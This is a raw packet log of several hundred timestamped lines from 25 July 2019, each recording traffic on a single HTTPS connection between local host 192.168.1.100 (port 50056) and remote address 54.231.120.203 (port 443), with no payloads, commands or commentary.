Jul 25, 2019 13:47:13.849958897 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.850038052 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.850070953 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.850220919 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.937131882 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.937212944 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.937271118 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.937295914 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.937325954 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.937347889 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.937469959 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.937551022 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.937592983 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.937628984 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.937752008 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.952202082 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.952238083 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.952259064 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.952277899 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.952300072 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.952321053 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.952349901 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.952426910 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.952447891 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.952537060 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.039788961 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.039861917 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.039901018 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.039946079 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.039983988 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.040021896 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.040065050 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.040157080 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.040247917 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.040326118 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.054658890 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.054768085 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.054805994 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.054832935 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.054858923 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.054883003 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.054907084 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.054930925 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.054943085 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.054955006 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.054980040 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.055003881 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.055121899 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.142225981 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.142277002 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.142306089 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.142343998 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.142376900 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.142409086 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.142441034 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.142492056 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.142540932 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.143795013 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.143884897 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.157399893 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.157433987 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.157454014 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.157497883 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.157520056 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.157540083 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.157567024 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.157586098 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.157594919 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.157628059 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.157659054 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.157681942 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.157710075 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.157713890 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.157942057 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.244611979 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.244679928 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.244784117 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.244808912 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.244822025 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.244927883 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.244937897 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.245523930 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.246081114 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.246129990 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.246243000 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.260035038 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.260063887 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.260082006 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.260097980 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.260113955 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.260129929 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.260149002 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.260174036 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.260224104 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.260232925 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.260241985 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.260260105 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.260279894 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.260279894 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.261132002 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.347290993 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.347343922 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.347363949 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.347593069 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.347779036 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.347795010 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.347817898 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.347913027 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.348305941 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.348319054 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.348431110 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.362473011 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.362529039 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.362588882 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.362617016 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.362639904 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.362684965 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.362696886 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.362721920 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.362749100 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.362762928 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.362775087 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.362875938 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.363393068 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.363425016 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.363447905 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.363471985 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.363497019 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.363508940 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.363703012 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.449628115 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.449681997 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.449712992 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.449903965 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.449980974 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.450037956 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.450057030 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.450463057 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.450504065 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.450607061 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.465027094 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.465065002 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.465080023 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.465095997 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.465111017 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.465123892 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.465143919 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.465166092 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.465184927 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.465233088 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.465538025 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.466907978 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.466962099 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.467000008 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.467034101 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.467067003 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.467154026 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.506323099 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.552640915 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.552683115 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.552706003 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.552727938 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.552906036 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.553050041 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.553158045 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.553189993 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.553287983 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.553318024 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.569175959 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.569202900 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.569219112 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.569233894 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.569248915 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.569268942 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.569370031 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.569387913 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.569401979 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.569520950 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.569555998 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.569575071 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.569593906 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.569612026 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.569623947 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.569631100 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.569648981 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.569680929 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.608536005 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.608772993 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.655379057 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.655416965 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.655432940 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.655447006 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.655461073 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.655474901 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.655529022 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.655603886 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.671729088 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.671777010 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.671804905 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.671834946 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.671859980 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.671885967 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.671916962 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.671941996 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.671947956 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.671967030 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.671991110 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.672015905 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.672040939 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.672065020 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.672089100 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.672112942 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.672276974 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.711137056 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.711180925 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.711200953 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.711383104 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.757788897 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.757842064 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.757886887 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.757910013 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.757930994 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.757951975 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.760020018 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.774142027 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.774183035 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.774204016 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.774233103 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.774251938 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.774280071 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.774298906 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.774362087 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.774410963 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.774430037 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.774446964 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.774456978 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.774465084 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.774483919 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.774612904 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.774632931 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.774646997 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.774759054 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.813548088 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.813596010 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.813623905 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.813806057 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.862250090 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.862289906 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.862309933 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.862329960 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.862349033 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.862371922 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.862489939 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.862597942 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.878992081 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.879141092 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.879179001 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.879215956 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.879244089 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.879273891 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.879302979 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.879307032 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.879331112 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.879358053 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.879384995 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.879412889 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.879441023 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.879468918 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.879498005 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.879527092 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.879554987 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.879724026 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.916152000 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.916213989 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.916239023 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.916265965 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.916426897 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.964720011 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.964759111 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.964778900 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.964797974 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.964816093 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.964834929 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.965007067 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.965105057 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.981733084 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.981889963 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.981965065 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.982018948 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.982086897 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.982733011 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.982959986 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.983016968 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.983056068 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.983067036 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.983127117 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.983148098 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.983151913 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.983206034 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.983237028 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.983266115 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.983299971 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.983330965 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.983340979 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:14.983359098 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:14.983474016 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:15.018630981 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:15.018724918 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:15.018747091 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:15.018767118 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:15.018883944 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:15.067168951 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:15.067226887 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:15.067251921 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:15.067260981 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:15.067428112 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:15.067490101 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:15.067517042 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:15.067598104 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:15.084498882 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:15.084573030 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:15.084615946 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:15.084633112 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:15.084736109 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:15.085763931 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:15.085805893 MESZ	443	50056	54.231.120.203	192.168.1.100
